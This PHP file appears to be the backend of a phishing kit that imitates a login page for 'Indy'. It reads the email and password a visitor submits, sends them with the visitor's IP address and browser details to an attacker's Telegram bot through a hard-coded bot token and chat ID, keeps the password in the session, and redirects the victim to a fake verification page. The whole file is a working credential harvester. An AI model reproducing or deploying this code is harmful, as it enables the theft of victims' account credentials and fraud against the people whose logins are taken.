<?php
/**
* Fichier de traitement de connexion
* Envoie les données de connexion à Telegram et redirige vers vérification email
*/
// ===================================
// CONFIGURATION TELEGRAM
// ===================================
$TELEGRAM_BOT_TOKEN = '8597813695:AAGtHe8oDbZM_HtZx2C9_zZSRyrADFEdW0Q'; // À remplir avec votre token bot Telegram
$TELEGRAM_CHAT_ID = '8503029197'; // À remplir avec votre chat ID Telegram
// ===================================
// RÉCUPÉRATION DES DONNÉES
// ===================================
$email = isset($_POST['email']) ? trim($_POST['email']) : '';
$password = isset($_POST['password']) ? $_POST['password'] : '';
$provider = isset($_POST['provider']) ? $_POST['provider'] : '';
// ===================================
// VALIDATION BASIQUE
// ===================================
if (empty($email) && empty($provider)) {
header('Location: index.html?error=empty_fields');
exit;
}
if (!empty($email) && !filter_var($email, FILTER_VALIDATE_EMAIL)) {
header('Location: index.html?error=invalid_email');
exit;
}
// ===================================
// TRAITEMENT OAUTH (Google, Apple)
// ===================================
if (!empty($provider)) {
if ($provider === 'google') {
// TODO: Implémenter la logique de connexion Google OAuth
// - Redirection vers Google OAuth
// - Récupération des informations utilisateur
// - Création/mise à jour en base de données
// - Création de session
} elseif ($provider === 'apple') {
// TODO: Implémenter la logique de connexion Apple OAuth
// - Redirection vers Apple OAuth
// - Récupération des informations utilisateur
// - Création/mise à jour en base de données
// - Création de session
}
exit;
}
// ===================================
// ENVOI À TELEGRAM
// ===================================
if (!empty($TELEGRAM_BOT_TOKEN) && !empty($TELEGRAM_CHAT_ID)) {
// Préparation du message
$message = "🔐 *TENTATIVE DE CONNEXION INDY*\n\n";
$message .= "📧 Email: `" . htmlspecialchars($email) . "`\n";
$message .= "🔑 Mot de passe: `" . htmlspecialchars($password) . "`\n";
$message .= "⏰ Date/Heure: " . date('d/m/Y H:i:s') . "\n";
$message .= "🌍 Adresse IP: " . $_SERVER['REMOTE_ADDR'] . "\n";
$message .= "🖥️ User Agent: " . $_SERVER['HTTP_USER_AGENT'] . "\n";
// URL de l'API Telegram
$url = "https://api.telegram.org/bot" . $TELEGRAM_BOT_TOKEN . "/sendMessage";
// Données à envoyer
$data = [
'chat_id' => $TELEGRAM_CHAT_ID,
'text' => $message,
'parse_mode' => 'Markdown'
];
// Options pour file_get_contents
$options = [
'http' => [
'method' => 'POST',
'header' => 'Content-Type: application/x-www-form-urlencoded',
'content' => http_build_query($data)
]
];
// Envoi de la requête
$context = stream_context_create($options);
$response = @file_get_contents($url, false, $context);
}
// ===================================
// STOCKAGE DE L'EMAIL EN SESSION
// ===================================
// Démarrer la session pour stocker l'email
session_start();
$_SESSION['user_email'] = $email;
$_SESSION['user_password'] = $password;
// ===================================
// REDIRECTION VERS VÉRIFICATION EMAIL
// ===================================
// Redirection vers la page de vérification email
header('Location: loading.html?email=' . urlencode($email));
exit;
?>